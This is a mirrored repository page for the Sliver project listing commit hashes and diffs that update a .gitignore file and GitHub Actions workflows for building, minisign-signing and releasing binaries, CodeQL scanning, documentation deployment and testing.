mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 08:04:14 -10:00
Compare commits
593
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
82d979436b | ||
|
|
d2632e75bd | ||
|
|
a55831fb44 | ||
|
|
39d4edec43 | ||
|
|
bbdb08e7a4 | ||
|
|
39b488bd25 | ||
|
|
e7b8a24534 | ||
|
|
17b9d611f8 | ||
|
|
ed9075d065 | ||
|
|
1f7221933d | ||
|
|
6333e0691a | ||
|
|
3bbaf80510 | ||
|
|
25726d8105 | ||
|
|
67e9a7f37f | ||
|
|
a5b6935da6 | ||
|
|
2e36f45bdf | ||
|
|
3e06a9d5ee | ||
|
|
952b2df49d | ||
|
|
9769f1bb57 | ||
|
|
f5f2c80ad3 | ||
|
|
bb2edf63cf | ||
|
|
cd711afe8a | ||
|
|
f9bbbb34bb | ||
|
|
64b91c56c0 | ||
|
|
a6c7867a26 | ||
|
|
7f25c3bb06 | ||
|
|
153cf29551 | ||
|
|
b85161e797 | ||
|
|
ed906fcffe | ||
|
|
3bbcf5697a | ||
|
|
4a425d2fd6 | ||
|
|
d0f752e118 | ||
|
|
7167621577 | ||
|
|
c3582fc203 | ||
|
|
07c95b203f | ||
|
|
958e44deef | ||
|
|
836395a2d6 | ||
|
|
1a7a1c9b2d | ||
|
|
4ba285796f | ||
|
|
a05dfad100 | ||
|
|
0eb29ad9b8 | ||
|
|
ad8b329f85 | ||
|
|
c6206257b6 | ||
|
|
8bbf06c156 | ||
|
|
4d4eab998f | ||
|
|
c081f17380 | ||
|
|
fafbac3fa6 | ||
|
|
d9c89c81cf | ||
|
|
061221905b | ||
|
|
d0600e2be7 | ||
|
|
26abbe3860 | ||
|
|
55a386ae1c | ||
|
|
2bfdb218ff | ||
|
|
715b84e799 | ||
|
|
faea2ff639 | ||
|
|
1b253f8dec | ||
|
|
eb38724322 | ||
|
|
05dedf4473 | ||
|
|
28c6b82a79 | ||
|
|
1f553496e3 | ||
|
|
cd5db464e0 | ||
|
|
0bf0ac6c7b | ||
|
|
0cf5a47cfd | ||
|
|
8d6759924b | ||
|
|
8d5dbd2050 | ||
|
|
804e149113 | ||
|
|
9ced4cfd50 | ||
|
|
c8be5a5b1b | ||
|
|
b7abf98c95 | ||
|
|
918ac1bb91 | ||
|
|
1e57818312 | ||
|
|
c44c14dd46 | ||
|
|
35f41cd62d | ||
|
|
4eff1cc053 | ||
|
|
16981da431 | ||
|
|
3830c76292 | ||
|
|
73de93d6fb | ||
|
|
c7770c2f6e | ||
|
|
21db908ce4 | ||
|
|
b7b0247652 | ||
|
|
3dc7dc03d0 | ||
|
|
229452d7ed | ||
|
|
d29ce9a08b | ||
|
|
46f2b2b402 | ||
|
|
6ee2006387 | ||
|
|
2fd13ee2bc | ||
|
|
2697568336 | ||
|
|
5013048b0b | ||
|
|
627b15572c | ||
|
|
42c40c9b8d | ||
|
|
405b282fed | ||
|
|
e32cd36e01 | ||
|
|
492a2aeed6 | ||
|
|
d6dafb0391 | ||
|
|
49a1bcfd7d | ||
|
|
a8d1bf6fb1 | ||
|
|
2f386b7e09 | ||
|
|
d7dce58397 | ||
|
|
15114138a8 | ||
|
|
2716090410 | ||
|
|
a805161245 | ||
|
|
afd57891cd | ||
|
|
bdf4a6ed0d | ||
|
|
87b1efaa5f | ||
|
|
009e505a54 | ||
|
|
c0dd2d5b51 | ||
|
|
6dab9dc6c5 | ||
|
|
854249fa25 | ||
|
|
7db573a03e | ||
|
|
0bef5491dc | ||
|
|
1c50e5a87b | ||
|
|
8dae2d0d52 | ||
|
|
023776f7e3 | ||
|
|
b7566a3b09 | ||
|
|
b889e2eb6f | ||
|
|
4466ace279 | ||
|
|
2b65089b27 | ||
|
|
87d5fd53a8 | ||
|
|
cf79a2d284 | ||
|
|
6d0276ff67 | ||
|
|
9b001ab88e | ||
|
|
503218f3f4 | ||
|
|
495dce0987 | ||
|
|
a7ff35c229 | ||
|
|
162fc4fb8a | ||
|
|
636ea0a9b2 | ||
|
|
84ed9bc4e7 | ||
|
|
b985d8ff9f | ||
|
|
5a43705e1d | ||
|
|
76af248850 | ||
|
|
8ea7eb4236 | ||
|
|
8f3c3ec1e0 | ||
|
|
8d4bf9c759 | ||
|
|
628757250e | ||
|
|
85094fc695 | ||
|
|
0a88ad77f7 | ||
|
|
4d04f08421 | ||
|
|
4a01971f7d | ||
|
|
977c63dc16 | ||
|
|
2d65d7d6a5 | ||
|
|
4f5ca51cfe | ||
|
|
83208eeab4 | ||
|
|
21674a9f0a | ||
|
|
a18bda14e2 | ||
|
|
37f9670783 | ||
|
|
1745886622 | ||
|
|
bd7361825c | ||
|
|
32af81c132 | ||
|
|
818127349c | ||
|
|
a712bead88 | ||
|
|
aa86a1d12c | ||
|
|
afb58f7155 | ||
|
|
97d5adccd7 | ||
|
|
83cc755388 | ||
|
|
4dc1fe145c | ||
|
|
5e27b23bde | ||
|
|
6011d23a9f | ||
|
|
976d720043 | ||
|
|
86f41e9abc | ||
|
|
8b9fc399fa | ||
|
|
27c75c14e6 | ||
|
|
11d6af8aa0 | ||
|
|
54dc6dcec3 | ||
|
|
c7412d4d5b | ||
|
|
c3817dc175 | ||
|
|
09cedf588e | ||
|
|
66aed89ebd | ||
|
|
16397e7a0f | ||
|
|
5062b483b7 | ||
|
|
b268295c8d | ||
|
|
2b3f23cec9 | ||
|
|
25d242230b | ||
|
|
110658ec39 | ||
|
|
b4345226c1 | ||
|
|
e99999ebb6 | ||
|
|
24795e7cba | ||
|
|
32e3386a3e | ||
|
|
7feea8bef3 | ||
|
|
d182434d54 | ||
|
|
0237af0c6e | ||
|
|
1fa36e46c4 | ||
|
|
4d9bae0778 | ||
|
|
9a9b40e400 | ||
|
|
d784b305ef | ||
|
|
7a224b4757 | ||
|
|
76ae704ce4 | ||
|
|
71cd8fa610 | ||
|
|
e9fdcc1285 | ||
|
|
870c995ae2 | ||
|
|
15d7e7c4d1 | ||
|
|
750cdfce0a | ||
|
|
0f128a22b3 | ||
|
|
3296a8f483 | ||
|
|
b77ade2bb9 | ||
|
|
41dc54d736 | ||
|
|
8a0694cb38 | ||
|
|
52c0618bc3 | ||
|
|
e2e1912628 | ||
|
|
36794f1b07 | ||
|
|
ccd8f75b03 | ||
|
|
dc89afe404 | ||
|
|
9db1f3a967 | ||
|
|
a2ab3aede6 | ||
|
|
c9f4970e4b | ||
|
|
e72fa3dbd0 | ||
|
|
2e93ce5684 | ||
|
|
545fc27d03 | ||
|
|
5bf65aa2b0 | ||
|
|
ebaf07ff1f | ||
|
|
fc95d3e354 | ||
|
|
88dca9337b | ||
|
|
44d9f8d5aa | ||
|
|
f76e9e367d | ||
|
|
69fa4143f6 | ||
|
|
dcbda0c64e | ||
|
|
3db48408af | ||
|
|
828838cddf | ||
|
|
16c1dc21fd | ||
|
|
3c8edb7294 | ||
|
|
2e2206e0ae | ||
|
|
a43648a24a | ||
|
|
f65f98bf65 | ||
|
|
26d14e15ad | ||
|
|
cee2cc76c4 | ||
|
|
daa33b6301 | ||
|
|
ef52973536 | ||
|
|
6a7bd0803a | ||
|
|
6c70c1c1e6 | ||
|
|
ddc222b8a2 | ||
|
|
5506a582ac | ||
|
|
63d872c98b | ||
|
|
ef9f5dde0d | ||
|
|
e35b7fdb97 | ||
|
|
efbbf382eb | ||
|
|
0b8d00900d | ||
|
|
9077596f25 | ||
|
|
0a8104a32e | ||
|
|
15a0ba4c1e | ||
|
|
d452c8a676 | ||
|
|
fb74b491fa | ||
|
|
2af6e11adc | ||
|
|
33c656d082 | ||
|
|
99a44e340f | ||
|
|
de5fa3458b | ||
|
|
a3a98858fd | ||
|
|
d0652f2fd3 | ||
|
|
936f067363 | ||
|
|
041c3c7048 | ||
|
|
b48f74af58 | ||
|
|
6ec8849b20 | ||
|
|
db7cf1ed62 | ||
|
|
16e1e77068 | ||
|
|
1cfa694aa2 | ||
|
|
5898877136 | ||
|
|
a7d8cac565 | ||
|
|
0e73afca47 | ||
|
|
432941d694 | ||
|
|
ac521bf53c | ||
|
|
9720c9f14f | ||
|
|
4a224fdb9c | ||
|
|
671eb4d777 | ||
|
|
16cf816610 | ||
|
|
879f576c6e | ||
|
|
2df78cdbf5 | ||
|
|
a05ffc0ae1 | ||
|
|
6b4b218f09 | ||
|
|
4d0d46afd6 | ||
|
|
f24c057503 | ||
|
|
7e3c1f1549 | ||
|
|
1d4c0ec8a5 | ||
|
|
92dda6aa4f | ||
|
|
9a605dfda6 | ||
|
|
e918885556 | ||
|
|
263702594f | ||
|
|
72b8dfb454 | ||
|
|
aa2383ac24 | ||
|
|
b6f0ea013d | ||
|
|
eb82e18a52 | ||
|
|
40ea51b685 | ||
|
|
1285b44c50 | ||
|
|
cb63a3378f | ||
|
|
4f90bfdcda | ||
|
|
5bb1dcc137 | ||
|
|
57c417c48f | ||
|
|
55fc59f6f5 | ||
|
|
332852d095 | ||
|
|
a903d2f596 | ||
|
|
4a4bb683e3 | ||
|
|
016299c756 | ||
|
|
075caaccda | ||
|
|
729be253d3 | ||
|
|
13bd48182f | ||
|
|
67188dabea | ||
|
|
6e4c38c10e | ||
|
|
00ecb1f4fd | ||
|
|
bac047fedd | ||
|
|
10c16be351 | ||
|
|
d51ea9dbab | ||
|
|
0eb41094de | ||
|
|
a219a97cb4 | ||
|
|
b617bb4cf4 | ||
|
|
613b53430b | ||
|
|
472de54757 | ||
|
|
bdbc3bd7b5 | ||
|
|
87db61bcfb | ||
|
|
095eb2722b | ||
|
|
abbb0da434 | ||
|
|
52f7484a71 | ||
|
|
a79b5fd7b9 | ||
|
|
3e98d2d7a1 | ||
|
|
13bf9d0a01 | ||
|
|
7aae725b88 | ||
|
|
afd01073e4 | ||
|
|
ae0c33f41b | ||
|
|
18da00b449 | ||
|
|
dc736f6095 | ||
|
|
e02d53ce67 | ||
|
|
064cd6a2cc | ||
|
|
eab9d0b653 | ||
|
|
29c4ec0afa | ||
|
|
b7c336cb76 | ||
|
|
d8ddd09c86 | ||
|
|
04bb356207 | ||
|
|
a003a5e3cf | ||
|
|
75e3cad76a | ||
|
|
8aa0cbee7e | ||
|
|
30a50717e1 | ||
|
|
f4c9e7109b | ||
|
|
08f3997756 | ||
|
|
3aebebecbb | ||
|
|
1d7eca8e39 | ||
|
|
773ee5f867 | ||
|
|
7608a4b0a0 | ||
|
|
9ecd36b7b6 | ||
|
|
d8fc5a6df4 | ||
|
|
649a6582e0 | ||
|
|
00e8a0cfca | ||
|
|
e9890bc8f9 | ||
|
|
8b798f8307 | ||
|
|
d4728af1ea | ||
|
|
d1b7d91b1a | ||
|
|
cac6dced34 | ||
|
|
a35bf0c1fc | ||
|
|
67616e50c1 | ||
|
|
54de8a2a97 | ||
|
|
20916c655c | ||
|
|
6c18201ed6 | ||
|
|
29165aff0d | ||
|
|
704285f28d | ||
|
|
a007872fbc | ||
|
|
c90e674f25 | ||
|
|
679b8d0c51 | ||
|
|
0a42a03052 | ||
|
|
73852e5bf2 | ||
|
|
5bcf59e1b3 | ||
|
|
935c737c35 | ||
|
|
5c04e61235 | ||
|
|
cff7a8ce53 | ||
|
|
e6f452ea2e | ||
|
|
c5f533bc80 | ||
|
|
bc08760320 | ||
|
|
9b37bee391 | ||
|
|
709085238d | ||
|
|
6e4240f0d9 | ||
|
|
c95e5c6cd7 | ||
|
|
ed3ab31741 | ||
|
|
9372b768be | ||
|
|
2d7406f415 | ||
|
|
85ba0cb587 | ||
|
|
251871cca1 | ||
|
|
604318ea54 | ||
|
|
bc72b20f9b | ||
|
|
61022e1eb1 | ||
|
|
a8d59daded | ||
|
|
9195376993 | ||
|
|
a6de8e0304 | ||
|
|
d3ebd34b0d | ||
|
|
310619526d | ||
|
|
1990777c4b | ||
|
|
9570556a87 | ||
|
|
b563919c19 | ||
|
|
f1858ee8f3 | ||
|
|
46a8313a33 | ||
|
|
22454f3385 | ||
|
|
868b2c294c | ||
|
|
9827b4df4b | ||
|
|
a48309a813 | ||
|
|
5df5dec5d4 | ||
|
|
a0fb2a229f | ||
|
|
3ff3ef2ed4 | ||
|
|
73cc8c38ff | ||
|
|
896c763166 | ||
|
|
ec7e2facbc | ||
|
|
4969c2dc51 | ||
|
|
94cb60b1f7 | ||
|
|
33fcfd54ef | ||
|
|
10bb248e50 | ||
|
|
e023fd507e | ||
|
|
1a9f0f38dd | ||
|
|
02831a80bf | ||
|
|
9ccff1798e | ||
|
|
cd5ef8b5c6 | ||
|
|
dda1fdbbc2 | ||
|
|
3b49df5662 | ||
|
|
32be71ff8e | ||
|
|
3f77da1524 | ||
|
|
bae3e9e45d | ||
|
|
205f5b4196 | ||
|
|
12f12218e0 | ||
|
|
fae7e211a7 | ||
|
|
346da14431 | ||
|
|
15174f6c31 | ||
|
|
f29df040bb | ||
|
|
0bbecc16ec | ||
|
|
0c216161c2 | ||
|
|
8ad9c62eb5 | ||
|
|
4c99fbfd82 | ||
|
|
ed713e199c | ||
|
|
aacdb71c4a | ||
|
|
6968c3aae5 | ||
|
|
410fd93025 | ||
|
|
f2a0435dd2 | ||
|
|
c09c57da3f | ||
|
|
d66ec956a4 | ||
|
|
8229722735 | ||
|
|
dcd81a4db7 | ||
|
|
2617387417 | ||
|
|
56aee7d6e4 | ||
|
|
b4f07e8629 | ||
|
|
280cb34049 | ||
|
|
a21b0da928 | ||
|
|
8a0ba038f6 | ||
|
|
8e5c5f1450 | ||
|
|
b8f4f0c1ea | ||
|
|
17cb7fbd50 | ||
|
|
9963bc6a3f | ||
|
|
274943f383 | ||
|
|
be81755056 | ||
|
|
a5861c43f2 | ||
|
|
e3025a2da2 | ||
|
|
dd072bbdb6 | ||
|
|
1e3c736acf | ||
|
|
3c46cf2210 | ||
|
|
40cc1f4eeb | ||
|
|
3d880914d9 | ||
|
|
1162de9ee3 | ||
|
|
b117a1325d | ||
|
|
a809989536 | ||
|
|
a9ee3ca9ed | ||
|
|
56d972dd32 | ||
|
|
b4091264d7 | ||
|
|
23bf325a66 | ||
|
|
d9344a4c79 | ||
|
|
67d9a772e3 | ||
|
|
dae284e62e | ||
|
|
60f48bdc51 | ||
|
|
0d7885de29 | ||
|
|
d41d29fc1e | ||
|
|
3f400bd3f0 | ||
|
|
d43f664821 | ||
|
|
85c57c07da | ||
|
|
60d15447e0 | ||
|
|
6351b2d671 | ||
|
|
c7535ec509 | ||
|
|
67e17d073b | ||
|
|
c5cb4dcb6c | ||
|
|
0b9fe603a8 | ||
|
|
c7141892d1 | ||
|
|
c5556f9e2b | ||
|
|
1bc45c2ab2 | ||
|
|
739ad98b81 | ||
|
|
95c1697d1b | ||
|
|
f7b9571cfc | ||
|
|
0d08f8c62f | ||
|
|
aa9c8d89e9 | ||
|
|
152e60ba29 | ||
|
|
d13a71b808 | ||
|
|
b17e2f056f | ||
|
|
42fb1e835e | ||
|
|
521356ff6e | ||
|
|
74b5d720b2 | ||
|
|
cd75545323 | ||
|
|
396dc9724f | ||
|
|
33398146d3 | ||
|
|
21039554e5 | ||
|
|
cca73be1c8 | ||
|
|
596bc455d8 | ||
|
|
400c36c5df | ||
|
|
c94dde3efb | ||
|
|
827a9ca156 | ||
|
|
d066dbc49a | ||
|
|
f1fbc345a2 | ||
|
|
2889c1ee29 | ||
|
|
28ee216b36 | ||
|
|
2dd3e84f60 | ||
|
|
067cdf712d | ||
|
|
22ae941e17 | ||
|
|
7c0c2c2dda | ||
|
|
39de742223 | ||
|
|
b07e750cf5 | ||
|
|
8786979001 | ||
|
|
aa223e4488 | ||
|
|
8785c55cf3 | ||
|
|
38fa64d266 | ||
|
|
b04fff21fd | ||
|
|
3f656da786 | ||
|
|
55311868a7 | ||
|
|
422a1d39c3 | ||
|
|
6938759e9d | ||
|
|
5febe5e539 | ||
|
|
38479e34aa | ||
|
|
abe8f8e77b | ||
|
|
c0f3161525 | ||
|
|
c6bbba16e1 | ||
|
|
af4f99de51 | ||
|
|
8e6e8e18ad | ||
|
|
544e577eb2 | ||
|
|
9939d2c320 | ||
|
|
f47af1e94e | ||
|
|
d3302583f5 | ||
|
|
d9403c7f05 | ||
|
|
65eb72506b | ||
|
|
d86cdcad8e | ||
|
|
7d7f858c15 | ||
|
|
ee1ad9edd1 | ||
|
|
d985564198 | ||
|
|
c1b5a3f7b4 | ||
|
|
927ff9c4ab | ||
|
|
3411b438b6 | ||
|
|
40bc0d6464 | ||
|
|
b0639275f4 | ||
|
|
6216cd1dc6 | ||
|
|
78e6b3a9b3 | ||
|
|
509d1b46ff | ||
|
|
f06b2c2192 | ||
|
|
4138ddd84a | ||
|
|
e9a300bab2 | ||
|
|
6edd10a010 | ||
|
|
b438df4db9 | ||
|
|
49eab476bb | ||
|
|
8976654010 | ||
|
|
a78b8c2097 | ||
|
|
5709bb9a24 | ||
|
|
25668a6d82 | ||
|
|
87dfe96ee9 | ||
|
|
5bb4338d76 | ||
|
|
bb35fa56d6 | ||
|
|
fbab18b2fe | ||
|
|
3ae8353030 | ||
|
|
a3d053bde5 | ||
|
|
7e27a18245 | ||
|
|
6d09b27c85 | ||
|
|
c389bac46e | ||
|
|
fae8e77665 | ||
|
|
38cf0aeb8b | ||
|
|
a755750a89 | ||
|
|
555ee5c63d | ||
|
|
0fc51677c1 | ||
|
|
cc1c7a5364 | ||
|
|
d1fa99d6eb | ||
|
|
6697801f59 | ||
|
|
32fa69356c | ||
|
|
c42d754e72 | ||
|
|
e4babaf471 | ||
|
|
da196a789d | ||
|
|
6a656d63ab | ||
|
|
b0e226199a | ||
|
|
7cce6b17b2 | ||
|
|
d07aae4d0b | ||
|
|
f4a2ba536c | ||
|
|
2bbd69719d | ||
|
|
cf4ff14342 | ||
|
|
ae3a2fd51e | ||
|
|
1d55b34b62 | ||
|
|
99571dc73e | ||
|
|
5c2848c84c | ||
|
|
ffcfa8d1b5 | ||
|
|
debc03203c | ||
|
|
b84037af11 | ||
|
|
61ed176683 | ||
|
|
12e44644ed | ||
|
|
0b185cc885 | ||
|
|
ae0c106595 | ||
|
|
6d2b0f8319 | ||
|
|
60443f4fc7 | ||
|
|
418fe757d1 | ||
|
|
edcdfb5937 | ||
|
|
f81efdb38c | ||
|
|
db34ded0a1 | ||
|
|
8a7a92a9b9 | ||
|
|
3eda32f9d7 | ||
|
|
c18c193ea7 | ||
|
|
79a8758448 |
No files matched your search
@@ -1,4 +1,9 @@
|
||||
# go-assets.sh downloads
|
||||
/server/assets/fs/**.zip
|
||||
/server/assets/fs/**/garble*
|
||||
/server/assets/fs/**/zig.tar.xz
|
||||
/server/assets/fs/**/zig.zip
|
||||
/server/assets/fs/src.zip
|
||||
|
||||
/*.sdk.tar.xz
|
||||
|
||||
@@ -19,3 +24,5 @@
|
||||
/SECURITY.md
|
||||
/README.md
|
||||
/CONTRIBUTING.md
|
||||
|
||||
.downloaded_assets
|
||||
@@ -2,136 +2,90 @@ name: Release
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [master]
|
||||
branches:
|
||||
- master
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
servers-build:
|
||||
name: Release Build Server
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
tag-check:
|
||||
name: Check Release Tag
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
timeout-minutes: 30
|
||||
outputs:
|
||||
tag: ${{ steps.tag.outputs.tag }}
|
||||
steps:
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: "^1.21"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Make
|
||||
run: make servers
|
||||
|
||||
- name: Server Artifacts
|
||||
uses: actions/upload-artifact@v4
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
name: servers
|
||||
path: ./sliver-server_*
|
||||
fetch-depth: 0
|
||||
|
||||
clients-build:
|
||||
name: Release Build Client
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
- name: Find Semver Tag
|
||||
id: tag
|
||||
run: |
|
||||
git fetch --prune --tags -f
|
||||
tag=$(git tag --points-at "$GITHUB_SHA" | grep -E '^v[0-9]+\.[0-9]+\.[0-9]+$' | head -n 1)
|
||||
echo "tag=$tag" >> "$GITHUB_OUTPUT"
|
||||
|
||||
release:
|
||||
name: Release
|
||||
needs: tag-check
|
||||
if: needs.tag-check.outputs.tag != ''
|
||||
runs-on: ubuntu-latest
|
||||
environment: release
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.22
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: "^1.22"
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Make
|
||||
run: make clients
|
||||
|
||||
- name: Client Artifacts
|
||||
uses: actions/upload-artifact@v4
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
name: clients
|
||||
path: ./sliver-client_*
|
||||
fetch-depth: 0
|
||||
|
||||
tagged-release:
|
||||
needs: [servers-build, clients-build]
|
||||
|
||||
name: "Tagged Release"
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
|
||||
steps:
|
||||
- run: mkdir -p ./builds
|
||||
- uses: actions/download-artifact@v4
|
||||
- name: Go 1.25
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
path: ./builds
|
||||
go-version: "1.25.6"
|
||||
|
||||
- name: Extract Artifacts
|
||||
run: |
|
||||
mkdir -p ./artifacts
|
||||
cp ./builds/clients/* ./artifacts
|
||||
cp ./builds/servers/* ./artifacts
|
||||
- name: Install Minisign
|
||||
run: sudo apt-get update --fix-missing && sudo apt-get -y install minisign
|
||||
|
||||
- name: GPG Key(s)
|
||||
- name: Build Clients
|
||||
run: |
|
||||
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
|
||||
gpg --list-secret-keys --keyid-format LONG
|
||||
make clients
|
||||
mkdir -p artifacts
|
||||
mv sliver-client_* artifacts/
|
||||
|
||||
# Linux
|
||||
- name: Linux 386 (Client Only)
|
||||
- name: Build Servers
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-386.sig --detach-sig ./artifacts/sliver-client_linux-386
|
||||
- name: Linux AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-amd64.sig --detach-sig ./artifacts/sliver-server_linux-amd64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-amd64.sig --detach-sig ./artifacts/sliver-client_linux-amd64
|
||||
- name: Linux ARM64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-arm64.sig --detach-sig ./artifacts/sliver-server_linux-arm64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-arm64.sig --detach-sig ./artifacts/sliver-client_linux-arm64
|
||||
make servers
|
||||
mv sliver-server_* artifacts/
|
||||
|
||||
# Windows
|
||||
- name: Windows 386 (Client Only)
|
||||
- name: Sign Artifacts
|
||||
env:
|
||||
MINISIGN_KEY: ${{ secrets.MINISIGN_SLIVER_RELEASE_KEY }}
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-386.sig --detach-sig ./artifacts/sliver-client_windows-386.exe
|
||||
- name: Windows AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows-amd64.sig --detach-sig ./artifacts/sliver-server_windows-amd64.exe
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-amd64.sig --detach-sig ./artifacts/sliver-client_windows-amd64.exe
|
||||
- name: Windows ARM64 (Client Only)
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-arm64.sig --detach-sig ./artifacts/sliver-client_windows-arm64.exe
|
||||
echo "$MINISIGN_KEY" | base64 -d > minisign.key
|
||||
echo "minisign.key bytes: $(wc -c < minisign.key | tr -d ' ')"
|
||||
echo "minisign.key sha256: $(sha256sum minisign.key | awk '{print $1}')"
|
||||
chmod 600 minisign.key
|
||||
for file in artifacts/sliver-*; do
|
||||
[ -f "$file" ] || continue
|
||||
minisign -S -s minisign.key -m "$file" -x "$file.minisig" -W
|
||||
done
|
||||
rm -f minisign.key
|
||||
|
||||
# MacOS
|
||||
- name: MacOS AMD64
|
||||
- name: Create Release
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-amd64.sig --detach-sig ./artifacts/sliver-server_macos-amd64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-amd64.sig --detach-sig ./artifacts/sliver-client_macos-amd64
|
||||
- name: Package MacOS ARM64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
|
||||
tag="${{ needs.tag-check.outputs.tag }}"
|
||||
if gh release view "$tag" >/dev/null 2>&1; then
|
||||
echo "Release $tag already exists."
|
||||
exit 0
|
||||
fi
|
||||
gh release create "$tag" --generate-notes
|
||||
|
||||
# FreeBSD
|
||||
- name: FreeBSD AMD64 (Client Only)
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-amd64.sig --detach-sig ./artifacts/sliver-client_freebsd-amd64.exe
|
||||
- name: FreeBSD ARM64 (Client Only)
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-arm64.sig --detach-sig ./artifacts/sliver-client_freebsd-arm64.exe
|
||||
|
||||
- name: "Publish Release"
|
||||
uses: "bishopfox/action-gh-release@v1"
|
||||
with:
|
||||
files: |
|
||||
./artifacts/*
|
||||
- name: Upload Artifacts
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: gh release upload "${{ needs.tag-check.outputs.tag }}" artifacts/* --clobber
|
||||
@@ -16,13 +16,13 @@ jobs:
|
||||
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.22
|
||||
uses: actions/setup-go@v5
|
||||
- name: Go 1.25
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "^1.22"
|
||||
go-version: "1.25.6"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
# Must fetch at least the immediate parents so that if this is
|
||||
# a pull request then we can checkout the head of the pull request.
|
||||
@@ -36,10 +36,10 @@ jobs:
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Initialize CodeQL
|
||||
uses: github/codeql-action/init@v3
|
||||
uses: github/codeql-action/init@v4
|
||||
with:
|
||||
config-file: ./.github/codeql/codeql-config.yml
|
||||
languages: go
|
||||
@@ -48,6 +48,6 @@ jobs:
|
||||
run: make
|
||||
|
||||
- name: Perform CodeQL Analysis
|
||||
uses: github/codeql-action/analyze@v3
|
||||
uses: github/codeql-action/analyze@v4
|
||||
env:
|
||||
VERSION: ${{github.sha}}
|
||||
@@ -35,7 +35,7 @@ jobs:
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Detect package manager
|
||||
id: detect-package-manager
|
||||
@@ -56,7 +56,7 @@ jobs:
|
||||
fi
|
||||
|
||||
- name: Setup Node
|
||||
uses: actions/setup-node@v4
|
||||
uses: actions/setup-node@v6
|
||||
with:
|
||||
cache: "npm"
|
||||
cache-dependency-path: "**/package-lock.json"
|
||||
@@ -66,7 +66,7 @@ jobs:
|
||||
uses: actions/configure-pages@v5
|
||||
|
||||
- name: Restore cache
|
||||
uses: actions/cache@v4
|
||||
uses: actions/cache@v5
|
||||
with:
|
||||
path: |
|
||||
.next/cache
|
||||
@@ -85,7 +85,7 @@ jobs:
|
||||
run: ${{ steps.detect-package-manager.outputs.runner }} next build
|
||||
|
||||
- name: Upload artifact
|
||||
uses: actions/upload-pages-artifact@v3
|
||||
uses: actions/upload-pages-artifact@v4
|
||||
with:
|
||||
path: ${{ github.workspace }}/docs/sliver-docs/out
|
||||
|
||||
|
||||
@@ -21,12 +21,12 @@ jobs:
|
||||
linux-windows-build-test:
|
||||
name: Linux & Windows Test
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
timeout-minutes: 180
|
||||
steps:
|
||||
- name: Go 1.22
|
||||
uses: actions/setup-go@v5
|
||||
- name: Go 1.25
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "^1.22"
|
||||
go-version: "1.25.6"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -34,38 +34,49 @@ jobs:
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
